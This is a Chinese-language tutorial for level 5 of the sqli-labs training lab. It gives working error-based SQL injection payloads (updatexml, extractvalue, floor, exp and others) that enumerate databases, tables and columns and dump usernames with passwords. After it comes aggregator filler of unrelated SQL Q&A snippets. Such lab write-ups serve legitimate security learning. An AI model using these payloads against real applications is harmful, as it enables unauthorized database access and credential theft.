sqil-labs LESS5报错注入通关教程

2023-11-16

Less-5:报错注入

id=1 页面有回显

第一步:判断注入类型是数字型还是字符型

id=1‘

出现报错为 ''1'' LIMIT 0,1'' 可判断为字符型且为单引号闭合(报错里面有数字)

第二:判断字段数,使用order by

order by 3时页面正常,order by 4时页面异常,说明有三个字段

updatexml(): select * from test where id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1);

查询当前数据库:

updatexml只能显示32位

爆库: updatexml(1,concat(0x2a,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) //爆出所有库名 0,32每次只能爆32为字符,从开始

于是使用substr剪切    暴库:

updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),0,32),0x7e),1) //updatexml函数只支持32位长度的报错 floor支持64,但是太长不好记 
其他报错注入时的函数 
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat((selectuser()),floor(rand(0)*2))x from information_schema.tables group by x)a); 
2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(selectuser()),0x7e))); 
3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(selectuser()),0x7e),1)); 
4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select *from(select user())a)b)); 
5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(selectuser())a)b)); 
6.polygon()select * from test where id=1 and polygon((select * from(select * from(selectuser())a)b)); 
7.multipolygon()select * from test where id=1 and multipolygon((select * from(select *from(select user())a)b)); 
8.linestring()select * from test where id=1 and linestring((select * from(select * from(selectuser())a)b)); 
9.multilinestring()select * from test where id=1 and multilinestring((select * from(select *from(select user())a)b)); 
10.exp()select * from test where id=1 and exp(~(select * from(select user())a));

开始使用substr函数剪切字符串

updatexml(1,concat(0x2a,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1)--+ 
//拆解如下 concat(0x2a,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e)//前面为0x2a 必须为不可见字符开头 substr((select group_concat(schema_name) from information_schema.schemata),1,32)//从1开始 不是0 (select group_concat(schema_name) from information_schema.schemata)

不断剪切直至出现0x7e为止(为~线)

 将所有的库列出

limit:

updatexml(1,concat(0x7e,substr((select schema_name from information_schema.schemata limit 0,1),1,32),0x7e),1)--+ 
//拆解如下 concat(0x7e,substr((select schema_name from information_schema.schemata limit 0,1),1,32),0x7e) substr((select schema_name from information_schema.schemata limit 0,1),1,32) (select schema_name from information_schema.schemata limit 0,1)

爆表

(updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32),0x7e),1)); -- +
 //拆解如下 concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32),0x7e) substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32) (select group_concat(table_name) from information_schema.tables where table_schema='security')

爆字段:

(updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,32),0x7e),1)); -- + 
//拆解如下 concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,32),0x7e) substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,32) (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')

爆字段:

updatexml(1,concat(0x2a,substr((select group_concat(username,0x3a,password) from security.users),1,32),0x7e),1);--+ 
//拆解如下 concat(0x2a,substr((select group_concat(username,0x3a,password) from security.users),1,32),0x7e) substr((select group_concat(username,0x3a,password) from security.users),1,32) (select group_concat(username,0x3a,password) from security.users)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqil-labs LESS5报错注入通关教程 的相关文章

  • 一张表中按最大日期过滤重复行的 SQL 查询

    我有一个 SQL 数据库 persons 它具有基于 IDNum 列的重复条目 我需要查询条目并仅根据最新创建日期显示行或重复条目 这是查询 SELECT IDNum PersonPGUID CreatedDateTime FirstNam
  • postgresql 选择不同的最新记录

    我有一个像这样的表 id fkey srno remark date 1 A001 1 2 A001 2 3 A002 1 4 A003 1 5 A002 2 我想要基于 max srno 的不同最新记录 例如 2 A001 2 4 A00
  • 使用 Proc sql 和 Teradata 在 SAS 中编写高效查询

    编辑 这是一组更完整的代码 它准确地显示了下面的答案所发生的情况 libname output data files jeff let DateStart 01Jan2013 d let DateEnd 01Jun2013 d proc s
  • 如何检查一个值是否已经存在以避免重复?

    我有一个 URL 表 但我不想要任何重复的 URL 如何使用 PHP MySQL 检查给定 URL 是否已在表中 如果您不想重复 可以执行以下操作 添加唯一性约束 use REPLACE http dev mysql com doc ref
  • 如何避免连接两个表时重复

    Student Table SID Name 1 A 2 B 3 C Marks Table id mark subject 1 50 physics 2 40 biology 1 50 chemistry 3 30 mathematics
  • 合并并添加两个表中的值

    是否可以制作一个在两个表中添加值的查询 例如 假设您有两张表 id value a 1 c 2 d 3 f 4 g 5 and id value a 1 b 2 c 3 d 4 e 5 然后 当您 添加 两个表时 您将获得 id 匹配的结果
  • MySQL 正在将我的时间戳值转换为 0000-00-00

    我是 PHP 新手 目前仍在学习中 我认为我的注册表有问题 username password email全部成功插入MySQL registered and last seen不要 我以为我正在使用getTimestamp 错了 但它呼应
  • 如何在审计触发器中使用system_user但仍使用连接池?

    我想做以下两件事 在我的数据库表上使用审计触发器来识别哪个用户更新了什么 使用连接池来提高性能 对于 1 我在数据库触发器中使用 system user 来识别进行更改的用户 但这阻止我执行需要通用连接字符串的 2 有没有一种方法可以让我充
  • MYSQL 按喜欢/不喜欢和受欢迎程度排序

    我有评论表 其中包括喜欢和不喜欢的内容 现在我在正确的顺序上遇到了问题 实际上 我的系统在顶部显示了最多点赞的评论 我正在 youtube 上寻找类似系统的东西 这意味着 100like 100dislikes 的评论的顺序高于 1 1 我
  • MySQL Tinybit(1) 通过视图的列

    我有一个连接 2 个表的视图 其中一个表具有表示布尔值的tinyint 1 类型的列 该表在连接时并不总是有条目 因此当行丢失时视图需要采用 0 false 值 我希望视图公开 TINYINT 1 类型且 NOT NULL 类型的列 因为它
  • 在内连接中重用 mysql 子查询

    我正在尝试优化查询 试图避免重复用 指示的查询 复杂查询 使用两次 结果相同 原始查询 SELECT news FROM news INNER JOIN SELECT myposter FROM SELECT COMPLEX QUERY U
  • 使用显式创建表语句与 select into 创建表

    使用显式创建表语句和加载数据与选择数据之间是否存在性能差异 此示例仅显示 2 列 但问题是针对使用非常大的表 下面的示例也使用临时表 尽管我也想知道使用常规表的效果 我认为无论表格类型如何 它们都是相同的 临时表场景 Explicitly
  • 使用 FileTable 通过 SQL INSERT 创建子目录

    之前 我请求如何在一个目录中创建一个目录FileTable不使用文件 I O API https stackoverflow com q 10483906 175679 我现在想为刚刚创建的父目录创建一个子目录 在插入期间如何分配我的父母
  • 如何获得组中“中间”值的平均值?

    我有一个包含值和组 ID 的表 简化示例 我需要获取中间 3 个值的每组的平均值 因此 如果有 1 2 或 3 个值 则它只是平均值 但如果有 4 个值 它将排除最高值 5 个值将排除最高值和最低值 等等 我正在考虑某种窗口函数 但我不确定
  • 获取从开始日期到结束日期的活跃周数

    我的订阅数据如下所示 数据显示用户何时购买订阅 它有user id subscription id start date and end date 我已经得出wk start and wk end从中 user subscription i
  • 如何获取Postgres当前的可用磁盘空间?

    在开始在数据库中进行某些工作之前 我需要确保至少有 1Gb 的可用磁盘空间 我正在寻找这样的东西 select pg get free disk space 是否可以 我在文档中没有找到任何相关内容 PG 9 3 操作系统 Linux Wi
  • value >= all(select v2 ...) 产生与 value = (select max(v2) ...) 不同的结果

    Here https stackoverflow com questions 17026651 query from union of joins 17027784 noredirect 1 comment24611997 17027784
  • 从一张表更新并插入另一张表

    我有两张桌子 table1 ID 代码 姓名 table2 ID 代码 姓名 具有相同的列 我想将数据从 table1 插入到 table2 或更新列 如果 table2 中存在 table1 ID table2 ID 执行此操作的简单方法
  • 如何在 Postgresql 中将 GIST 或 GIN 索引与 hstore 列一起使用?

    我正在使用 postgresql 9 3 的 hstore 我正在尝试对 hstore 列使用索引就像文档所述 http www postgresql org docs 9 3 static hstore html 我的问题是索引似乎没有被
  • LEFT JOIN 比 INNER JOIN 快得多

    我有一张桌子 MainTable 有超过 600 000 条记录 它通过第二个表连接到自身 JoinTable 在父 子类型关系中 SELECT Child ID Parent ID FROM MainTable AS Child JOIN

随机推荐

  • [sql]使用sql语句增加列,并且设置默认值

    有的时候 我们需要对已存在的表进行插入列的情况 当然 可以使用navicat等工具直接可视化操作 命令行的话 如下 alter table 表名 add column 列名 数据类型 default 默认值 demo alter table
  • flutter开发实战-MethodChannel实现flutter与iOS双向通信

    flutter开发实战 MethodChannel实现flutter与iOS双向通信 最近开发中需要iOS与flutter实现通信 这里使用的MethodChannel 如果需要flutter与Android实现双向通信 请看 https
  • O-RAN专题系列-38:管理面-WG4.MP.V07-规范解读-第5章-软件管理

    作者主页 文火冰糖的硅基工坊 文火冰糖 王文兵 的博客 文火冰糖的硅基工坊 CSDN博客 本文网址 目录 第5章 软件管理 5 1 Software Package 5 2 Software Inventory消息 5 3 Software
  • @Transactional事务注解

    1 实现原理 基于AOP面向切面的 它将具体业务与事务处理部分解耦 代码侵入性很低 2 Transactional注解可以作用于哪些地方 作用于类 当把 Transactional 注解放在类上时 表示所有该类的public方法都配置相同的
  • 使用正则表达式验证邮箱格式?

    需满足的验证逻辑 1 之前必须有内容且只能是字母 大小写 数字 下划线 减号 点 2 和最后一个点 之间必须有内容且只能是字母 大小写 数字 点 减号 且两个点不能挨着 3 最后一个点 之后必须有内容且内容只能是字母 大小写 数字且长度为大
  • python @register_第7.21节 Python抽象类—register注册虚拟子类

    上两节介绍了Python抽象类的真实子类的定义和使用 本节介绍另一种抽象类的实现方法 虚拟子类方法 一 相关概念 虚拟子类是将其他的不是从抽象基类派生的类 注册 到抽象基类 让Python解释器将该类作为抽象基类的子类使用 因此称为虚拟子类
  • Lua中的协程Coroutine

    一 协程是什么 1 线程 首先复习一下多线程 我们都知道线程 Thread 每一个线程都代表一个执行序列 当我们在程序中创建多线程的时候 看起来 同一时刻多个线程是同时执行的 不过实质上多个线程是并发的 因为只有一个CPU 所以实质上同一个
  • android语言切换的源码逻辑

    android语言的分发 会通过AMS去分发 AMS中保存着正在运行的进程 并分别分发给各个进程 各个进程在收到对应的事件的时候 会重启当前的页面 来应用config的改变 页面重启的过程中 Resource会读取当前的config 根据保
  • 【编程练习】回转寿司

    题目来源 牛客 美团2021校招笔试编程题 第3题 题目描述 题解 参考了别人的思路 这个问题可以分解为经典贪心 回转 当不考虑回转 环形 情形时 只需要用贪心求解最大连续子串值即可 当考虑回转 环形 情形时 可反向思考 就是 求解非环形连
  • matlab神经网络工具箱实现两个输入的BP神经网络

    请问各位大佬 matlab神经网络工具箱怎么实现具有两个特征的BP神经网络啊 是将以行为单位将每个样本的每一个特征按列存放就可以吗
  • upload-labs第1~2关 小试牛刀

    第一关 文件重命名 工具 Burp 蚁剑 原理 文件名修改 源码解析 先在前端判断是否为图片格式 是的话 就开始上传 也就是前端绕过 先传一个jpg格式的 再用burp抓包 改包 就可以实现前端验证绕过 绕过过程 文件上传肯定离不开一句话木
  • 全球根服务器分别部署在哪里?

    全球真的只有13台根服务器么 10台根服务器都在美国 如果根服务器被关闭 我们会不会被断网 关于DNS部署与根服务器的几点论述 知名网络黑客防御专家 东方联盟创始人郭盛华透露 根名称服务器是任何域名系统 DNS 服务器 它响应 DNS 根区
  • AI Challenger 2018 即将进入决赛,八大数据集抢先看

    雷锋网 AI 研习社消息 由创新工场 搜狗 美团点评 美图联合主办的 AI Challenger 2018 即将进入第二阶段比赛 今年的大赛主题是 用 AI 挑战真实世界的问题 主办方提供超过 300 万人民币奖金 8 月 29 日至 11
  • CMake下调用anaconda的pytorch及numpy传参CV::Mat给python(多线程版)

    经测试发现上次写的 CMake下调用anaconda的pytorch及numpy传参CV Mat给python 在多线程下就挂了 经过各种实验 终于完成了多线程的实现 在此分享一下 主要结构如下 Created by daybeha on
  • Vue中的三种绑定方式

    1 属性绑定 div img alt div
  • 《逆袭进大厂》 C++ 八股文问题目录

    如果有没看过前两期的小伙伴们可以点击下面两篇文章去温习一下 逆袭进大厂 之C 篇49问49答 绝对的干货 逆袭进大厂 第二弹之C 进阶篇59问59答 4W字超强汇总 知乎 逆袭进大厂 第三弹之C 提高篇79问79答 知乎 不逼逼了 逆袭进大
  • 解决 mac zsh 所有命令失效

    https www cnblogs com zhangrunhao p 9970656 html
  • Python - 使用多处理并行处理受 CPU 限制的任务

    多元处理 英语 Multiprocessing 也译为多进程 多处理器处理 多重处理 指在一个单一电脑系统中 使用二个或二个以上的中央处理器 以及能够将计算工作分配给这些处理器 拥有这个能力的电脑系统 也被称为是多元处理器系统 Multip
  • 如何克隆一个虚拟机/如何把虚拟机克隆一份给别人用/虚拟机互相通信

    https blog csdn net csdnliuxin123524 article details 80641649 https blog csdn net qq 42774325 article details 81189033 h
  • sqil-labs LESS5报错注入通关教程

    Less 5 报错注入 id 1 页面有回显 第一步 判断注入类型是数字型还是字符型 id 1 出现报错为 1 LIMIT 0 1 可判断为字符型且为单引号闭合 报错里面有数字 第二 判断字段数 使用order by order by 3时